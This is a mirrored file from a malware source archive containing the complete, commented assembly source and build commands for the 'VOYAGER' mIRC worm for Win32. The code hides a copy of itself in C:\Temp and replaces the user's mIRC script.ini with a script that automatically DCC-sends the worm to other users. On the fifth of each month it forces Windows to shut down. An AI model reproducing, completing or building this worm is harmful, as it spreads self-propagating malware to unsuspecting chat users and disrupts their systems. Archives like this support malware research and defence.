mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
215 lines
6.0 KiB
NASM
215 lines
6.0 KiB
NASM
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;
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; VOYAGER.mIRC.Worm.Win32
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; by Bumblebee/[Hail and Kill]
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;
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; . This is a simple mIRC worm. Creates -if not exists- a directory
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; called 'C:\Temp' and stores there 'Voyager.exe'. Then searches for
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; mIRC in 'c:\mirc' and 'c:\mirc32'. If mIRC is found then deletes
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; the 'script.ini' and writes its own script.
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;
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; . Sets to 'Voyager.exe' read-only and hidden attributes.
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; . ExitWindows if Voyager is executed in payload date.
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;
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; . Is a Win32 program -only uses API- and due to this it must work
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; fine under Win95/Win98/WinNT. Is small but -fucking windows- its
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; size is 4096 bytes long.
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;
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; tasm /ml /m3 v32,,;
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; tlink32 -Tpe -c v32,v32,, import32.lib
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;
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.386
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locals
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jumps
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.model flat,STDCALL
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; procs to import
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extrn CreateFileA:PROC
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extrn WriteFile:PROC
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extrn CloseHandle:PROC
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extrn DeleteFileA:PROC
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extrn ExitProcess:PROC
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extrn GetCommandLineA:PROC
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extrn GetCurrentDirectoryA:PROC
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extrn SetCurrentDirectoryA:PROC
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extrn CreateDirectoryA:PROC
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extrn VirtualAlloc:PROC
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extrn CopyFileA:PROC
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extrn SetFileAttributesA:PROC
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extrn GetSystemTime:PROC
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extrn ExitWindowsEx:PROC
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virusSize equ 4096
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scriptSize equ endScript-mIRCScript
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.DATA
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db 0dh,0ah
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id db 'VOYAGER.mIRC.Worm.Win32 by Bumblebee/[Hail and Kill]',0
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db 0dh,0ah
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scriptName db 'Script.ini',0
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virusDir db 'C:\Temp',0
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destVir db 'C:\Temp\Voyager.exe',0
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mIRCScript db '[SCRIPT]',0,0dh,0ah
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db 'n0=on 1:TEXT:*sting*:#:/msg $chan VOYAGER.mIRC.Worm.Win32'
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db ' by Bumblebee/[Hail and Kill] at your service!',0
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db 0dh,0ah
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db 'n1=on 1:TEXT:*bee*:#:/msg $chan The way of the bee!',0
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db 0dh,0ah
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db 'n2=on 1:FILESENT:*.*:/if ( $me != $nick ) { /dcc send'
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db ' $nick c:\temp\voyager.exe }',0,0dh,0ah
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endScript db 0
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mIRCDir0 db 'c:\mirc',0
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mIRCDir1 db 'c:\mirc32',0
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fHnd dd ?
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cdirHnd dd ?
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commandLine dd ?
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size2Read dd 0
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sysTimeStruct db 16 dup(0)
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.CODE
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inicio:
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call GetCommandLineA ; get command line
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mov dword ptr [commandLine],eax
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skipArgs: ; skip args
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cmp dword ptr [eax],'EXE.'
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je argsOk
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inc eax
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jmp skipArgs
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argsOk:
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add eax,4
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mov byte ptr [eax],0
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push 00000004h ; read/write page
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push 00001000h ; mem commit (reserve phys mem)
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push 1024 ; size to alloc
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push 0h ; let system decide where to alloc
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call VirtualAlloc
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cmp eax,0
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je goOut ; ops... not memory to alloc?
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mov dword ptr [cdirHnd],eax
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push dword ptr [cdirHnd] ; get current directory
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push 1024
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call GetCurrentDirectoryA
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cmp eax,0
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je goErrOut
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goDir:
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lea eax,virusDir
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push eax
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call SetCurrentDirectoryA
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cmp eax,0
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jne skipCreateDir ; directory exists
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xor eax,eax
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push 0
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lea eax,virusDir
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push eax
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call CreateDirectoryA ; create the directory
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cmp eax,0
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je goOut
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jmp goDir
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skipCreateDir:
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push 0 ; overwrite if exists
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lea eax,destVir
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push eax
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push dword ptr [commandLine]
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call CopyFileA ; install Voyager into c:\Temp
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cmp eax,0
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je mIRCCheck
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push 00000001h OR 00000002h ; set read only and hidden
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lea eax,destVir
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push eax
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call SetFileAttributesA ; set voyager new attributes
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mIRCCheck:
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lea eax,mIRCDir0
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push eax
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call SetCurrentDirectoryA
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cmp eax,0
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je installScript ; directory exists -> mIRC found!
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lea eax,mIRCDir1
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push eax
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call SetCurrentDirectoryA
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cmp eax,0
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jne goOut ; directory exists -> mIRC found!
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installScript:
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lea eax,scriptName
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push eax ; delete script.ini
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call DeleteFileA
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xor eax,eax
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push eax
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push 00000020h ; archive
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push 1
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push eax
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push 00000001h OR 00000002h
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push 40000000h
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lea eax,scriptName
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push eax
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call CreateFileA ; open new script for write (shared)
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cmp eax,-1
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je goOut
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mov dword ptr [fHnd],eax
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push 0
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mov dword ptr [size2Read],0
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lea eax,size2Read
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push eax
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mov eax,scriptSize
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push eax
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lea eax,mIRCScript
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push eax
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push dword ptr [fHnd]
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call WriteFile ; write script.ini
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mov eax,dword ptr [fHnd] ; close file
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push eax
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call CloseHandle
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goOut:
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push dword ptr [cdirHnd] ; restore work directory
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call SetCurrentDirectoryA
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goErrOut:
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lea eax,sysTimeStruct ; check for payload
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push eax
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call GetSystemTime
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lea eax,sysTimeStruct ; 5th day of month?
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cmp word ptr [eax+6],5
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jne exitLoop
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xor eax,eax
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mov eax,1
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or eax,4
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push eax
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push eax
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call ExitWindowsEx ; close windows ;)
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exitLoop:
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push 0h ; exit
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call ExitProcess
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jmp exitLoop
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Ends
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End inicio
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